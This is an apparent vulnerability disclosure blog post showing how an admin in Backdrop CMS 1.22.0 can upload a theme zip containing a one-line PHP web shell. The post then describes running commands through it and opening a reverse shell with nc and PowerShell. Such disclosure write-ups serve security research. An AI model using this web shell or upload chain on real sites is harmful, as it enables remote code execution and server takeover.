

[Open in app](#)[Get started](#)

GrimTheRipper

[Follow](#)

Sep 27 · 3 min read · [Listen](#)



Save



# Backdrop CMS 1.22.0 — Unrestricted File Upload (Themes)

## Description

# An Issue is discovered in Backdrop CMS 1.22.0.

#We found a vulnerability file upload when we upload the malicious file as a theme in the theme installer on the Appearance page.

## Proof of Concept

First, we login to the target application with admin privileges.





Open in app

Get started

LOG IN

RESET PASSWORD

Username or email \*

admin

Password \*

[Show password](#)

.....

LOG IN

Then select Appearance and select Install new themes.

The screenshot shows the Backdrop CMS dashboard. At the top, there is a navigation bar with tabs: Home, Dashboard, Content, User accounts, Appearance (highlighted with a red box), Functionality, Structure, Configuration, and Reports. Below the navigation bar, the 'Appearance' dropdown menu is open, showing 'List themes' and 'Install new themes' (highlighted with a red box). The main content area of the dashboard includes a 'WELCOME TO BACKDROP CMS!' message, a 'Get started' section with links to view the home page, add a logo, customize the theme, and find a new theme. There are also sections for 'Next steps', 'More actions', 'CREATE CONTENT', and 'CONTENT OVERVIEW'. A 'BACKDROP NEWS' section is visible on the right side of the dashboard.

click Manual Installation.



[Open in app](#)[Get started](#)[LIST THEMES](#)[INSTALL NEW THEMES](#)

Search

SEARCH

Sort by: Relevance

[Most installed](#)[Title](#)[Latest release](#)

Showing 1 to 20 of 37.

THEMES

**Bootstrap Lite**[Add to Installation queue](#)

This is a clean and minimal Backdrop-oriented Bootstrap 3-based theme inspired by the Drupal Bootstrap theme and that provides an upgrade path from that D7 theme. It is, however, a totally separate project from the Drupal Bootstrap theme with no guaranteed compatibility between... [details](#)

195 installations

**Corporate KiSS**[Add to Installation queue](#)

Corporate KiSS is a simple clean theme that is meant to look nice for business or corporate web sites. It is written in nothing but pure CSS, with no template files. It fully relies on Backdrop's core layout system for layout. It is written with the philosophy of Keep It Simple... [details](#)

148 installations

Installation queue

Installation queue is empty.

[Manual installation](#)

we can upload with zip files.

## Manual installation



You can find modules, themes, and layouts on [backdropcms.org](https://backdropcms.org). The following file extensions are supported: *tar* *tgz* *gz* *bz2* *zip*.

[▶ Install projects by name](#)[▶ Install from a URL](#)[▼ Upload a module, theme, or layout archive to install](#)**Upload a module, theme, or layout archive to install** No file chosen

For example: *name.tar.gz* from your local computer



[Open in app](#)[Get started](#)

<https://github.com/backdrop-contrib/>

The screenshot shows the GitHub repository page for 'indigoxela Tweak after last core changes'. The repository has 45 commits and was last updated on May 1. The file list includes:

File	Description	Time
color	Comment styles, teaserlist styles, ckeditor styles, color fixes	2 years ago
css	Tweaks after last core changes	2 months ago
fonts/merriweather	Removed woff2	2 years ago
images	Adding basic file structure	2 years ago
js	Adding basic file structure	2 years ago
templates	Better compability for main menus with many items	2 years ago
LICENSE.txt	Adding basic file structure	2 years ago
README.md	Updated README	2 years ago
lateralInfo	Card styles	2 months ago
screenshot.png	Screenshot resolution might look better on b.org	2 years ago
template.php	Issue #6: Prevent system style to break custom toggle style	4 months ago
theme-settings.php	Removed whitespace	2 years ago

The right sidebar shows the repository details:

- About**: Backdrop CMS theme
- Releases**: 7 releases, latest is v1.x-1.0.6 on May 3
- Packages**: No packages published
- Languages**: CSS 54.4%, PHP 45.1%, JavaScript 0.5%

after that we use simple web shell and zip it to theme files.

```
<?php system($_GET["cmd"]); ?>
```





Open in app

Get started

Name	Size	Type	Modified
..		File folder	
color	3,613	File folder	
css	21,625	File folder	
fonts	3,024,718	File folder	
images	226,902	File folder	
js	202	File folder	
templates	7,771	File folder	
lateral.info	475	INFO File	3/5/2565 8:21
README.md	951	MD File	3/5/2565 8:21
shell.php	30	PHP File	1/7/2565 14:32
template.php	3,461	PHP File	3/5/2565 8:21
theme-settings.php	3,121	PHP File	3/5/2565 8:21
screenshot.png	393,030	PNG File	3/5/2565 8:21
LICENSE.txt	18,092	Text Document	3/5/2565 8:21

Total 6 folders, 7 files, 3,703,991 bytes

back too Manual installation and upload zip files.





Open in app

Get started

Installed lateral successfully.





Open in app

Get started

after we know path we can access to the backdoor and execute “whoami” command.

use nc to get our reverse shell.

we use reverse shell payload from this website.





[Open in app](#)

Get started

Finally execute “powershell” command to create reverse shell connection.







Open in app

Get started

## Author

Grim The Ripper Team by SOSECURE Thailand

[About](#) [Help](#) [Terms](#) [Privacy](#)

Get the Medium app



